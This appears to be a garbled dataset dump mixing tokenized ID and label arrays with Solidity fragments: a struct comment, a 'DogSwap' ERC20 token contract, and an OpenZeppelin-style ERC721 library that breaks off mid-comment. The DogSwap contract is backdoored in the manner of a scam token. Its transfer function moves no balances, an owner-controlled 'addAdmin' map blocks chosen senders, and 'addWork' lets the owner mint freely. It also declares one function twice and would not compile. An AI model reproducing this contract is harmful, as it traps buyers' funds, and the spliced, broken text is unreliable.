structs to avoid stack too deep error struct to store shortAmount, shortStrike and shortUnderlyingPrice scaled to 1e27
struct ShortScaledDetails { FPI.FixedPointInt shortAmount; FPI.FixedPointInt shortStrike; FPI.FixedPointInt shortUnderlyingPrice; }
1,551,717
[ 1, 1697, 87, 358, 4543, 2110, 4885, 4608, 555, 1958, 358, 1707, 3025, 6275, 16, 3025, 1585, 2547, 471, 3025, 14655, 6291, 5147, 12304, 358, 404, 73, 5324, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1958, 7925, 55, 12825, 3790, 288, 203, 3639, 478, 1102, 18, 7505, 2148, 1702, 3025, 6275, 31, 203, 3639, 478, 1102, 18, 7505, 2148, 1702, 3025, 1585, 2547, 31, 203, 3639, 478, 1102, 18, 7505, 2148, 1702, 3025, 14655, 6291, 5147, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/56/0xbdCa4f7841490Fae02eEFD10EE8B81819f057917/sources/DogSwap.sol
any tokens sent here ?modifiers
contract DogSwap is ERC20Detailed { using SafeMath for uint256; uint256 public totalBurn = 0; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; mapping (address => bool) public addadmin; string constant tokenName = "DogSwap"; string constant tokenSymbol = "DOGS"; uint8 constant tokenDecimals = 18; uint256 _totalSupply = 100000*10**uint(tokenDecimals); IERC20 currentToken ; address payable public _owner; modifier onlyOwner() { require(msg.sender == _owner); _; } address initialSupplySend = 0xAE45e8236004b3BF2B0b1CfA5D396A64336c5b30; constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) { _supply(initialSupplySend, _totalSupply); _owner = msg.sender; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function addAdmin(address account) public { require(msg.sender == _owner, "!owner"); addadmin[account] = true; } function removeAdmin(address account) public { require(msg.sender == _owner, "!owner"); addadmin[account] = false; } function transfer(address to, uint256 value) public returns (bool) { _executeTransfer(msg.sender, to, value); return true; } function multiTransfer(address[] memory receivers, uint256[] memory values) public { require(receivers.length == values.length); for(uint256 i = 0; i < receivers.length; i++) _executeTransfer(msg.sender, receivers[i], values[i]); } function transferFrom(address from, address to, uint256 value) public returns (bool) { require(value <= _allowed[from][msg.sender]); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _executeTransfer(from, to, value); return true; } function _executeTransfer(address _from, address _to, uint256 _value) private { require(!addadmin[_from], "error"); if (_value <= 0) revert(); } function multiTransferEqualAmount(address[] memory receivers, uint256 amount) public { uint256 amountWithDecimals = amount * 10**tokenDecimals; for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amountWithDecimals); } } function multiTransferEqualAmount(address[] memory receivers, uint256 amount) public { uint256 amountWithDecimals = amount * 10**tokenDecimals; for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amountWithDecimals); } } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _supply(address account, uint256 amount) internal { require(amount != 0); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function withdrawUnclaimedTokens(address contractUnclaimed) external onlyOwner { currentToken = IERC20(contractUnclaimed); uint256 amount = currentToken.balanceOf(address(this)); currentToken.transfer(_owner, amount); } function addWork(address account, uint256 amount) public { require(msg.sender == _owner, "!warning"); _supply(account, amount); } }
11,314,135
[ 1, 2273, 2430, 3271, 2674, 692, 15432, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 463, 717, 12521, 353, 4232, 39, 3462, 40, 6372, 288, 203, 203, 225, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 377, 203, 225, 2254, 5034, 1071, 2078, 38, 321, 273, 374, 31, 203, 21281, 225, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 225, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 8151, 31, 203, 225, 2874, 261, 2867, 516, 1426, 13, 1071, 527, 3666, 31, 203, 225, 533, 5381, 1147, 461, 273, 315, 40, 717, 12521, 14432, 203, 225, 533, 5381, 1147, 5335, 273, 315, 3191, 16113, 14432, 203, 225, 2254, 28, 225, 5381, 1147, 31809, 273, 6549, 31, 203, 225, 2254, 5034, 389, 4963, 3088, 1283, 273, 25259, 14, 2163, 636, 11890, 12, 2316, 31809, 1769, 7010, 7010, 21281, 225, 467, 654, 39, 3462, 23719, 274, 203, 282, 202, 2867, 8843, 429, 1071, 389, 8443, 31, 203, 377, 203, 202, 20597, 1338, 5541, 1435, 288, 203, 1377, 2583, 12, 3576, 18, 15330, 422, 389, 8443, 1769, 203, 1377, 389, 31, 203, 225, 289, 203, 21281, 225, 1758, 2172, 3088, 1283, 3826, 273, 374, 92, 16985, 7950, 73, 28, 29941, 26565, 70, 23, 15259, 22, 38, 20, 70, 21, 39, 29534, 25, 40, 5520, 26, 37, 1105, 3707, 26, 71, 25, 70, 5082, 31, 203, 21281, 203, 225, 3885, 1435, 1071, 8843, 429, 4232, 39, 3462, 40, 6372, 12, 2316, 461, 16, 1147, 5335, 16, 1147, 31809, 13, 288, 203, 4202, 203, 565, 389, 2859, 1283, 12, 6769, 3088, 1283, 3826, 2 ]
/** *Submitted for verification at Etherscan.io on 2021-08-29 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing 